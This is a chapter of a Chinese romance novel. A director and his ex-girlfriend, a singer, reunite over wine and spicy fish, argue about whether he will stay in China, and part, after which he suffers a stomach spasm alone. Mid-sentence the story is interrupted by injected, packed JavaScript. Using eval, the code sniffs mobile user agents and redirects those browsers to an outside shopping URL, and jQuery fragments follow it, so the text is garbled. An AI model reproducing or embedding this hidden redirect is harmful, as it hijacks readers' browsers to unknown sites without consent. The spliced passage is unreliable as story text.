蒋述从没忘记第一次见喻乔的场景。
上完课他回寝室拿东西，室友正在商量和隔壁系打篮球的事，原本的队友临时有事放了鸽子。
此前在室友的强烈邀请下，蒋述和他们打过一次球。
他不是喜欢显露锋芒的人，但出众的身高和不错的球技，加上不张扬反而会配合室友，让他此时简直成了救星。
球场上，一个漂亮的三分球后，裁判吹响了休息的哨声。
蒋述正想去拿水喝，两个女生从围观人群里站出来，同时递了全新的水过来。
“喔唷——”有队友起哄。
蒋述并不喜欢这样的场景，也不想让人有所联想，所以说了声“谢谢，不过不太需要”，就去找自己已经拆封的那瓶。
抬眼时，球场外一个昳丽的身影挤进了他的视线。
京市的秋季来得早，校园里树叶尽黄，风一吹就漫天飘落，洋洋洒洒的铺满了校园。
就在这样一片融合了夕阳的画卷里，女孩身上勃艮第红的连衣裙，随着秋风轻轻摆动，黑色长发微蜷，散在身前，衬托的肌肤瓷白细腻，格外醒目。
也是在蒋述看过去的时候，女孩和身边的人说话，似乎并没有注意他。
喝完水，几个队友都凑过来，要安排接下来的防守战术。
不知是谁先提了一句：“球场外站着一个美女，好像是音乐系的系花！”
“哪呢哪呢？”
“红裙子那个，漂亮吧！”
“是不是叫喻乔来着？开学第一天我好像就听过……”
话题已经跑偏，蒋述有点不耐，刚要说正事，倏然间眼前亮光一闪。
几米外有女生正举着手机往这边拍，不知道谁手机的闪光灯忘记关。
他皱起眉。
队友这才意识到蒋述一直没说话，加上被偷拍，大抵是有点不高兴的，于是招呼了几声那些拍照的人后，认真讨论起来。
等哨声再次吹响，队友四散开来回到原本的位置。
蒋述又向场外的位置看了一眼，人已经不见了。
*
红酒口感好得过分。
等反应过来的时候，喻乔意识到自己好像喝得有点多了，酒瓶已经快要见底。
“再去拿一瓶？”蒋述问。
喻乔摇摇头，她买的啤酒还没有喝完，没必要再开一瓶红酒。
她拿起筷子，伸向桌上的水煮鱼外卖。
白色的食盒，上面飘着一层鲜红的辣椒油，很适合下酒吃，让人食指大动。
手机下单的时候，喻乔颇有种慌不择路的感觉，甚至不知道自己在看些什么，最后凭着肌肉记忆，付款了两人过去经常会吃的一家连锁店。
喻乔心满意足地吃了好几口，配着清爽的啤酒，心情渐渐好了很多。
而蒋述只是继续喝着酒，几乎没有动筷。
在读书的时候，蒋述对食物并无明显的喜好，大部分时间都会顺着她的口味来。
喻乔现在才后知后觉地想起，分别的这五年，他在国外吃了那么多白人饭，也许口味早就变了。
喻乔的手停住，“你不喜欢吃这个了吧？我再给你点个别的……”
“不用。”蒋述拒绝得很干脆，动作顿了顿，“太久了，还需要适应它的味道。”
他慢慢拾起筷子，夹起一片鱼肉，放入口中慢慢咀嚼。
鱼片上沾着的一点红油留在他唇角，让他浅淡的唇色才看上去不那么苍白。
喻乔笑了，很自然地俯身抽出一张纸巾。
就在抬起手的那刻，喻乔才意识到他们已经分手了，遂收敛了神色，胡乱将纸巾塞到他手里。
喻乔明白自己是真的喝多了，居然有那么一瞬的恍然，好像回到了他们还在一起的时候。
她看着蒋述慢条斯理地擦拭完，忽地问道：“蒋述，你为什么回国？”
“有个剧本，想回来写完。”
“是讲在国内发生的故事吗？”
“是。”
“那你会在国内拍摄吗？”
“会。”
喻乔看到蒋述向她侧过头，轮廓分明的脸近在咫尺。
年轻导演面容紧绷，眼神灼灼地盯着她，幽深的眸底涌动着辨不分明的意味，像是窗外漫长无垠的夜。
喻乔垂下眼。
她感觉到，他在等。
等她继续问和他有关的问题。
可是喻乔却不敢再问了，空气就这么沉默下来。
“喻乔。”
听到自己的名字，喻乔又轻微地失神，过了一会才应。
“那你呢，在逃避什么？”
也就是灵魂短暂抽离的这须臾，主导权已经被对方握在了手里。
喻乔睫毛颤了一下，浅棕色的眸一瞬不瞬地看着蒋述：“我没有。”
话音刚落，她明亮干净的眼眸里，倒映着一个倾身而来的影子。
只要抬手，就能碰到他坚实的胸膛。
那股淡淡茶香味又将喻乔笼罩起来。
许是进入后调的缘故，香水已经带上了一点木质的味道，比起初次闻到的清冷，多了几分温润绵长的感觉。
喻乔看着他渐渐逼近的身影，几乎不敢呼吸。
直至蒋述从她手里抽出易拉罐：
“空了。”
她没注意到自己手里的啤酒罐，已经被捏的变形。
顺带着，两人距离也变得又近了些。
他宽平肩膀下，挺阔的胸肌，无一不在散发着属于成年男人的荷尔蒙气息。
“你知道我说的是什么，不要装傻。”
喻乔不言，侧身想从桌上再拿一罐啤酒，可即将碰到的时候，却被另一只更为宽大的手捉住。
静止间，她听到他低沉的声音：
“你的心跳得很快。”
喻乔回过头。
灯光下，蒋述的眉眼更显深邃，旁边散落下几缕发丝，模糊了他原本锋利的意味；高挺的鼻梁下，薄唇几乎抿成一条线，喉结在微微翻涌。
有一闪而过的情绪，被他黑曜石般的眼眸压了下去。
喻乔樱唇微启，却发不出任何声音。
她听到自己胸腔里扑通扑通的心跳声，但每一个鼓点，都是懦弱的回声。
喻乔不想在蒋述面前坦诚，自己早已没有了当初那份，近乎执拗的勇气。
许是察觉到了她的犹豫，蒋述顿了片刻，继续说：“《天籁之声》，去试一试吧。”
她垂下头咕哝了一句：“为什么这么执着地让我参加？”
“我说过，我清楚你的能力，也知道你能成功。”
见喻乔还是低着头不语，蒋述轻轻叹息。
“你心中有担忧。”他语气中有微妙的停顿，眼中的光也蒙上了几分薄薄的雾，“但当你有了成绩，也能给……裴应清带去一些机会，不是么？”
听完他这句话，喻乔愣了愣，这似乎还是他第一次如此平静、不带任何敌意地提起裴应清。
喻乔有些疑惑，蒋述为什么总是提起一个，与他毫不相干的男人。
下一秒又忽然意识到，蒋述是在退让。
他似乎误解了自己和裴应清的关系。
喻乔喉间又动了动：“应清不是……”
话到嘴边，忽而又说不出口了。
她该以什么身份向他解释。
公寓此刻落针可闻。
蒋述的眼睛里，翻涌着喻乔看不懂的情绪。
那沉下来的雾气，像是一层枷锁，又像是在妥协。
喻乔过去一直觉得，蒋述恨自己。
他应该是恨着自己的，好像只有这样，自己才能装出坦然的样子面对他。
可是今天发生的一切，尤其是现在这一刻，蒋述眼中仿佛有根无形的线，在一点点的将她缠绕。她脉搏的每一次跳动，都被他完整感受。
她心里的某种坚守，在此刻崩断了。
喻乔眼睫轻颤。
其实她有很多问题想要问他，她很想听到他的答案。
在酒意的作用下，在蒋述的目光里，她渐渐生出一些勇气来，于是重新问回那个最初的问题：
“你是搬到这里来，跟我有关，对吗？”
她看到他点头。
“你希望我靠近一点吗？”
他幽深的眼底有光闪过，“无时无刻。”
还有一个最在意的问题，“那等这部电影结束，你还会回美国吗？”
他抿了下唇，片刻后才出声：
“我不知道。”
喻乔皱起眉，刚刚涌起的热流缓缓冷却下来：“‘不知道’是什么意思？”
“我希
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17701870|208122||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
望有一个足够的理由，可以让我留在这里。”
心跳渐渐平静，房间的温度好像在下降。
“所以，你一开始没想过留下，是吗？”
喻乔感觉到腕间的力道松了一些。
他又沉默了一会才说：“是。”
听到这个答案，喻乔倏忽笑了，将手抽了回去，“原来是这样。”
心中莫名有点生气。
他热爱的事业、以及电影最繁荣的地方，都远在大洋的彼岸，他的确没有理由留在这里。
可既然要走，又为什么要一步步的试探她，给她留下一点妄想的种子。
是把她当做回国期间的消遣，还是想让她也尝尝，当初被抛弃的滋味？
喻乔起身向着门口走去，没有看他，“你走吧。”
她不应该把他留在这间公寓里，生出一些不该有的想法。
这一刻她有些庆幸，自己没有向他说明自己和裴应清的关系。
他从未认真问过，她也不会再有身份向他解释。
也许他们就到此为止。
“喻乔。”
蒋述眉心蹙起，看着自己的手就这样滞留在半空。
他目光在她身上逡巡，想知道她突然冷淡的原因。
“已经很晚了，你不该再留在这里。”
喻乔替他打开门，做出送客的姿态。
他总是要走的。
或许是几个月，或许是一年、两年，像是一个清醒的美梦，可在里面流连的每一秒，其实都是令人痛苦的倒计时。
蒋述脸色变得苍白，在原地定定看了她很久，随后失笑一声，从沙发起身。
拖鞋在地板上发出沉闷的声响。
像是在暗嘲他的过界。
他差点忘记，这双深蓝色拖鞋的主人，才是那个能站在她身边的人。
他早已没有能够留在她身边的身份。
蒋述换回自己的鞋子，经过喻乔身边时没有再看她，却依然感觉到她的目光再次变得平静而沉寂。
仿佛他们的一切都不曾发生过。
“砰——”
身后的门被重重关上。
蒋述缓缓闭起眼睛，抬手捂住腹部。
在国外生活时，他的胃部就已经变得脆弱不堪，酒精和辛辣的水煮鱼刺激下，本就让胃隐隐作痛。
面对喻乔，再多的隐忍与克制都像一片枯叶，她只需轻轻一戳，他的情绪就会完全碎裂。
在房间时，他的后背就已经开始渗出冷汗。现在，突发性的痉挛，让他上腹部都伴随着灼痛，甚至像弥漫开的雾气，把疼痛扩散到胸背。
蒋述不由得蜷缩起身体。
他扶住走廊的墙壁，离喻乔房间的门远了些，每一步都沉重地像走在深不见底的沼泽。
手机忽然震动起来，助理打来了电话。
在确定声音不会被里面的人听到后，他才接了起来。
“哥，你应该还没睡吧？有件紧急的事……”
蒋述的胃痛得要命，强烈的疼痛夺走他全部的注意力，因而完全听不见助理说了什么，手上湿滑的冷汗让他几乎握不住手机：
“先帮我叫辆救护车……我在……东山路公寓。”
“哥你怎么了？！要不要我现在过去？”
蒋述还来不及回答，又一阵绞痛袭来，让他眼前一黑，手机也从手里滑落下去，重重摔在地上。
助理焦急的声音从听筒传来，唤回蒋述的一丝意识。
“……哥！哥你说话呀！”
他半跪在地板，呼吸急促，手指颤抖地摸到手机，声音哑到几不可闻：“胃痉挛，快打……我去公寓一楼等。”
挂断电话后，一阵恶心感袭来，蒋述腰弯得更低，发出一阵压抑的干呕声。
蒋述已经数不清这是第几次，突发的躯体化症状，将他折磨得痛苦不已。
好在房间里有备好的药，供他应对不时之需。
他跌跌撞撞地打开公寓门，连灯都来不及开，摸黑打开办公桌下的抽屉，拧开药瓶，干咽了下去。
不能留在这里，否则救护车来了，势必会惊动另一个房间里的人。
蒋述眼眶通红，强忍绞拧般的疼痛，撞进电梯里后才松了一口气。
难受的声音伴随着血腥气压在喉间，只剩下破碎的喘-息。